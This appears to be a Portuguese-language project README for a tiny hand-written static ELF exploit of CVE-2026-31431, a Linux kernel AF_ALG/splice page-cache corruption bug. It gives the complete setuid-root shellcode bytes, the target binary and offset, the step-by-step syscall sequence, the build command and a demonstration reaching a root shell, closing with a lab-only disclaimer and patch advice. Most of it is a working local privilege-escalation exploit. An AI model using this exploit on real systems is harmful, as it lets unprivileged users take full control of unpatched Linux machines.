
Minimal 587-byte static ELF exploit para CVE-2026-31431, alcanzando escalada local de privilegios via corrupção do page cache de splice AF_ALG. Sem dependências de libc ou runtime.
Não fui eu que encontrei este bug. O crédito vai para Xint Code / Theori.
Este repositório é a minha abordagem para tornar o exploit o menor possível - um ELF x86_64 feito à mão que faz o LPE completo em 587 bytes. Sem libc, sem linker, sem runtime. Apenas NASM e teimosia.
Na prática, o kernel entrega uma primitiva de escrita no page cache de qualquer arquivo legível através de AF_ALG + splice. Aponte-a para o entry point de um binário setuid, escreva o shellcode, execute o binário, root.
Para contexto sobre tamanho: o post público original do Copy Fail veio com uma versão Python minúscula de 732 bytes. Isso é extremamente foda, mas ainda depende do runtime Python estar presente. Ainda menor é https://kopy.fail com 524 bytes. Este aqui, porém, é um ELF estático cru: sem interpretador, sem libc, sem linker, sem dynamic loader. (minha mãe diz que é legal)
| CVE | CVE-2026-31431 |
| Classe do bug | Corrupção de page cache via aliasing de splice |
| Causa raiz | af_alg_sendpage / splice em request AEAD faz aliasing de páginas do page cache na saída crypto scatter-gather |
| Componente | crypto/af_alg.c + crypto/algif_aead.c |
| Impacto | Escrever bytes controlados no page cache de qualquer arquivo legível |
| Requisitos | Usuário local, suporte AF_ALG/AEAD acessível, alvo setuid legível |
| Exploit | ELF estático de 587 bytes (x86_64), arquivo único, zero dependências |
AF_ALG permite que o userspace faça criptografia no kernel através de sockets. Para cifras AEAD como
authencesn, o kernel aceita dados via sendmsg com MSG_MORE, e então você
pode fazer splice de mais dados a partir de um file descriptor.
A parte amaldiçoada: quando você faz splice de um arquivo, o kernel fixa as páginas do page cache do arquivo diretamente na lista crypto scatter-gather. A operação AEAD então escreve sua saída de volta nessas mesmas páginas. O kernel acha que deu à criptografia um buffer de leitura. A criptografia acha que recebeu um buffer de escrita. Ninguém copia.
Os bytes que você alimenta como metadados AAD acabam visíveis através do page cache. Qualquer leitura subsequente desse arquivo - por qualquer processo, qualquer usuário, incluindo execução suid - vê os dados corrompidos. O arquivo no disco não é tocado. Apenas a visão do page cache em memória muda.
Copy Fail é a maldição da família page-cache/COW aparecendo com roupagem de AF_ALG. Mesma linhagem do Dirty COW (CVE-2016-5195) - "o kernel deixou você escrever em algo que você só deveria poder ler" - mas através do caminho de crypto splice em vez da corrida madvise/write.
Alvo: /bin/su no Debian Bookworm (incluindo rootfs do kernelCTF). O entry point do ELF
fica no offset de arquivo 0x3910.
28 bytes de shellcode o transformam em um dropper de shell root:
; setuid(0) - 7 bytes
31 ff xor edi, edi
6a 69 push 105
58 pop rax
0f 05 syscall
; execve("/bin/sh", NULL, NULL) - 21 bytes
99 cdq
31 f6 xor esi, esi
48 bb 2f 62 69 6e 2f 73 68 00 movabs rbx, "/bin/sh\0"
53 push rbx
54 push rsp
5f pop rdi
6a 3b push 59
58 pop rax
0f 05 syscall
A primitiva AEAD só te dá 4 bytes por operação - um chunk de 32 bits do AAD cai no offset do splice. 28 bytes de shellcode ÷ 4 = 7 passagens pela stack de criptografia do kernel. Cada iteração:
socket(AF_ALG) + bind com authencesn(hmac(sha1),cbc(aes))setsockopt para definir a chave e o tamanho da tag de autenticaçãoaccept para obter o request fdsendmsg com MSG_MORE - o iov de 8 bytes contém 4 bytes de preenchimento AAD + 4 bytes de shellcodesplice de /bin/su através de um pipe para o request fd (posiciona as páginas do page cache)recvfrom - dispara o processamento AEAD, corrompe o page cacheApós todas as 7 iterações, execve("/bin/su"). O kernel o carrega do
page cache corrompido. A execução pula para o entry point sobrescrito. Shell
root.
587 bytes no total. 120 deles são o cabeçalho ELF (o kernel não carrega você sem ele), então a lógica real do exploit é 467 bytes de código de máquina + dados.
Aqui está onde as coisas ficam no cabeçalho ELF:
Offset Campo Uso real
------ ----- ----------
0x00 e_ident[0:8] magic + classe ELF (obrigatório)
0x08 e_ident[8:16] material de chave criptográfica (o kernel ignora esses bytes)
0x28 e_shoff string "/bin/su\0" (o kernel ignora para ET_EXEC)
O kernel só olha para e_ident[0:7], e_type, e_machine, e_entry,
e_phoff, e_phnum e o próprio phdr. Todo o resto é espaço livre.
Outros truques de tamanho:
push imm8 / pop rax / syscall (3 bytes cada)A primeira versão funcional tinha 584 bytes. Ela usava mov ax, 275 para a segunda
chamada splice (2 bytes mais curto que mov eax, 275). Isso aposta que o primeiro
splice sempre tem sucesso - se ele retornar um erro negativo, os 48 bits superiores de
rax permanecem definidos, e mov ax, 275 só sobrescreve os 16 inferiores. Então o
número da syscall do segundo splice vira lixo.
No meu kernel de teste sempre funcionou. Mas "sempre funciona em teste" é um mau motivo para enviar um bug, e se alguém encontrar isso em um sistema onde o splice retorna EAGAIN sob pressão de memória, o exploit simplesmente dá segfault sem nenhuma indicação do que deu errado. Comi os 3 bytes extras.
Também tive que adicionar xor esi, esi antes do execve final porque recvfrom
sobrescreve rsi com o endereço do buffer. Sem isso, o execve recebe um ponteiro
argv lixo. Mais um byte.
nasm -f bin -o copy_fail_v3 copy_fail_v3.asm && chmod +x copy_fail_v3
Requer NASM. Produz o binário do exploit diretamente - sem etapa de linking.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ./copy_fail_v3
# id
uid=0(root) gid=0(root) groups=0(root)
Leva menos de um segundo. Sem saída em caso de sucesso - apenas um shell root.
Requer CONFIG_CRYPTO_USER_API_AEAD (embutido ou módulo carregado) e o
caminho de splice in-place não corrigido em algif_aead. O caminho ruim remonta a
uma otimização de 2017. Verifique a configuração do kernel da sua distro e o status do patch.
A correção elimina o caminho in-place e copia as páginas de origem do splice em vez de fazer aliasing delas na lista crypto scatter-gather. O isolamento do page cache é restaurado.
Isso é um artefato de KernelCTF/laboratório. Execute-o em sistemas que você possui ou para os quais tem permissão explícita para testar. Se você está defendendo máquinas Linux, aplique o patch no kernel ou restrinja o carregamento do módulo AF_ALG/algif_aead.
Daniel Wade - GitHub · Twitter/X · Bluesky · nadsec.online